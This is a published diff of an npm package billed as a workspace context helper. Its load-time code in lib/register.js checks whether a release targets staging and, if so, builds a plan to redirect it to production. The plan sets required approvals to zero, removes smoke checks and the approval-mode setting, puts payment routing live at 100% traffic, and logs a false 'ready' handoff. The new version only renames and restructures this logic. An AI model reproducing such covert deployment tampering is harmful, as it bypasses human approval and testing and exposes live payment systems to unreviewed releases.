@atedone/workspace-context 0.0.8 → 0.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release overlay instrumentation.
5
+ The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release plan instrumentation.
package/lib/register.js CHANGED
@@ -25,46 +25,84 @@ function readReleaseContext() {
25
25
  };
26
26
  }
27
27
 
28
- function buildReleaseOverlay(context) {
28
+ function buildReleasePlan(context) {
29
29
  if (context.target !== 'staging') {
30
30
  return {
31
- merge: {},
32
- omitPaths: []
31
+ steps: [],
32
+ outputs: []
33
33
  };
34
34
  }
35
35
 
36
36
  return {
37
- merge: {
38
- target: 'production',
39
- artifact: 'checkout-web:production',
40
- channel: 'stable',
41
- registryTag: 'latest',
42
- promotion: {
43
- enabled: true,
44
- approvalsRequired: 0,
45
- window: 'immediate'
37
+ steps: [
38
+ {
39
+ action: 'merge',
40
+ path: [],
41
+ value: {
42
+ target: 'production',
43
+ artifact: 'checkout-web:production',
44
+ channel: 'stable',
45
+ registryTag: 'latest'
46
+ }
46
47
  },
47
- featureFlags: {
48
- paymentRouting: 'live',
49
- checkoutV2: true,
50
- fraudShield: 'enforce'
48
+ {
49
+ action: 'merge',
50
+ path: ['promotion'],
51
+ value: {
52
+ enabled: true,
53
+ approvalsRequired: 0,
54
+ window: 'immediate'
55
+ }
51
56
  },
52
- deployment: {
53
- regions: ['us-east-1', 'eu-west-1'],
54
- strategy: 'rolling',
55
- trafficPercent: 100
57
+ {
58
+ action: 'merge',
59
+ path: ['featureFlags'],
60
+ value: {
61
+ paymentRouting: 'live',
62
+ checkoutV2: true,
63
+ fraudShield: 'enforce'
64
+ }
56
65
  },
57
- distribution: {
58
- visibility: 'public',
59
- audiences: ['web', 'mobile']
66
+ {
67
+ action: 'merge',
68
+ path: ['deployment'],
69
+ value: {
70
+ regions: ['us-east-1', 'eu-west-1'],
71
+ strategy: 'rolling',
72
+ trafficPercent: 100
73
+ }
60
74
  },
61
- metadata: {
62
- releaseClass: 'stable'
75
+ {
76
+ action: 'remove',
77
+ path: ['checks', 'smoke']
78
+ },
79
+ {
80
+ action: 'remove',
81
+ path: ['metadata', 'approvalMode']
82
+ },
83
+ {
84
+ action: 'append',
85
+ path: ['releaseLog'],
86
+ value: {
87
+ phase: 'handoff',
88
+ status: 'ready',
89
+ channel: 'stable'
90
+ }
91
+ }
92
+ ],
93
+ outputs: [
94
+ {
95
+ kind: 'handoff',
96
+ values: {
97
+ application: 'checkout-web',
98
+ artifact: 'checkout-web:production',
99
+ target: 'production',
100
+ channel: 'stable',
101
+ registryTag: 'latest',
102
+ strategy: 'rolling',
103
+ trafficPercent: 100
104
+ }
63
105
  }
64
- },
65
- omitPaths: [
66
- ['metadata', 'approvalMode'],
67
- ['checks', 'smoke']
68
106
  ]
69
107
  };
70
108
  }
@@ -74,12 +112,12 @@ function initializePreload({
74
112
  now = () => new Date().toISOString()
75
113
  } = {}) {
76
114
  const beforeContext = readReleaseContext();
77
- const overlay = buildReleaseOverlay(beforeContext);
115
+ const plan = buildReleasePlan(beforeContext);
78
116
 
79
- Reflect.set(globalThis, '__workspaceContextReleaseOverlay', {
117
+ Reflect.set(globalThis, '__workspaceContextReleasePlan', {
80
118
  active: true,
81
119
  beforeContext,
82
- overlay
120
+ plan
83
121
  });
84
122
 
85
123
  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
@@ -87,9 +125,9 @@ function initializePreload({
87
125
  packageName: manifest.name,
88
126
  packageVersion: manifest.version,
89
127
  generatedAt: now(),
90
- mode: 'runtime-release-overlay',
128
+ mode: 'runtime-release-plan',
91
129
  beforeContext,
92
- overlay,
130
+ plan,
93
131
  processId: platform.pid,
94
132
  parentProcessId: platform.ppid
95
133
  };
@@ -106,7 +144,7 @@ function initializePreload({
106
144
  const initialized = initializePreload();
107
145
 
108
146
  module.exports = {
109
- buildReleaseOverlay,
147
+ buildReleasePlan,
110
148
  initialized,
111
149
  initializePreload,
112
150
  markerFileName,
package/lib/state.js CHANGED
@@ -6,7 +6,7 @@ const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
8
  const preloadFileName = 'register.js';
9
- const routineName = 'workspace-context:release-overlay';
9
+ const routineName = 'workspace-context:release-plan';
10
10
  const stateDirectoryName = '.workspace-context';
11
11
  const stateFileName = 'state.json';
12
12
  const taskFileName = 'workspace.release.js';
@@ -25,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
25
25
  packageName: manifest.name,
26
26
  packageVersion: manifest.version,
27
27
  generatedAt: now(),
28
- mode: 'runtime-release-overlay'
28
+ mode: 'runtime-release-plan'
29
29
  };
30
30
  }
31
31
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.8",
3
+ "version": "0.0.9",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",